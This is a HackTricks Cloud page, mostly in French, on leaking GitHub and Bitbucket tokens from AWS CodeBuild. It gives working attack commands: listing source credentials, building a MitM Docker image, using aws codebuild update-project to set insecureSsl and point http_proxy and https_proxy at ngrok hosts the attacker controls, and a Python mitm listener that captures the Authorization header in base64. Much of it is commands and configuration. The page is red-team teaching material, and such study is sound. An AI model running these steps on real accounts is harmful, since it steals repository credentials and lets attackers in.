AWS Codebuild - Token Leakage
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Récupérer les Tokens configurés Github/Bitbucket
D’abord, vérifiez s’il existe des credentials source configurés que vous pourriez leak :
aws codebuild list-source-credentials
Via Docker Image
If you find that authentication to for example Github is set in the account, you can exfiltrate that access (GH token or OAuth token) by making Codebuild to use an specific docker image to run the build of the project.
Pour cela vous pouvez créer un nouveau projet Codebuild ou modifier l’environnement d’un existant pour définir l’image Docker.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. This is a very basic Docker image that will set the env variables https_proxy, http_proxy and SSL_CERT_FILE. This will allow you to intercept most of the traffic of the host indicated in https_proxy and http_proxy and trusting the SSL CERT indicated in SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Suivez les instructions du repo pour configurer l’adresse IP de votre proxy, installer votre certificat SSL et construire l’image Docker.
- DO NOT SET
http_proxyafin de ne pas intercepter les requêtes vers le metadata endpoint. - Vous pouvez utiliser
ngrokcommengrok tcp 4444pour définir le proxy vers votre hôte. - Une fois l’image Docker construite, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Créez un nouveau projet Codebuild ou modifiez l’environnement d’un projet existant.
- Configurez le projet pour utiliser l’image Docker précédemment générée.
.png)
- Set the MitM proxy in your host
- Comme indiqué dans le Github repo vous pouvez utiliser quelque chose comme :
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La version de mitmproxy utilisée était 9.0.1, il a été signalé qu’avec la version 10 cela pourrait ne pas fonctionner.
- Exécuter le build & capturer les identifiants
- Vous pouvez voir le token dans l’en-tête Authorization :
.png)
Ceci peut aussi être fait depuis l’aws cli avec une commande du type :
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projects have a setting called insecureSsl that is hidden in the web you can only change it from the API.
L’activation de ce paramètre permet à Codebuild de se connecter au dépôt sans vérifier le certificat proposé par la plateforme.
- D’abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
aws codebuild batch-get-projects --name <proj-name>
- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet
insecureSslenTrue. L’exemple ci‑dessous montre la mise à jour d’un projet — remarquezinsecureSsl=Trueà la fin (c’est la seule chose que vous devez modifier par rapport à la configuration récupérée). - De plus, ajoutez également les variables d’environnement http_proxy et https_proxy pointant vers votre tcp ngrok comme :
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Ensuite, exécutez l’exemple de base depuis https://github.com/synchronizing/mitm sur le port indiqué par les variables proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Enfin, cliquez sur Build the project, les credentials seront envoyés en clair (base64) au port mitm :
 (1).png)
Via le protocole HTTP
[!TIP] > Cette vulnérabilité a été corrigée par AWS à un moment durant la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus l’abuser :)
Un attaquant avec des permissions élevées sur un CodeBuild pourrait leak le Github/Bitbucket token configuré ou, si les permissions ont été configurées via OAuth, le temporary OAuth token utilisé pour accéder au code.
- Un attaquant pourrait ajouter les variables d’environnement http_proxy et https_proxy au projet CodeBuild pointant vers sa machine (par exemple
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Ensuite, changez l’URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple :
http://github.com/carlospolop-forks/TestActions - Ensuite, lancez l’exemple basique de https://github.com/synchronizing/mitm sur le port indiqué par les variables proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Ensuite, cliquez sur Build the project ou démarrez la build depuis la ligne de commande :
aws codebuild start-build --project-name <proj-name>
- Enfin, les identifiants seront envoyés en clair (base64) vers le port mitm:
.png)
Warning
Désormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges dont il dispose et en abuser plus facilement que s’il utilisait directement le service CodeBuild.
Untrusted PR execution via webhook filter misconfiguration
Pour la PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consultez :
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

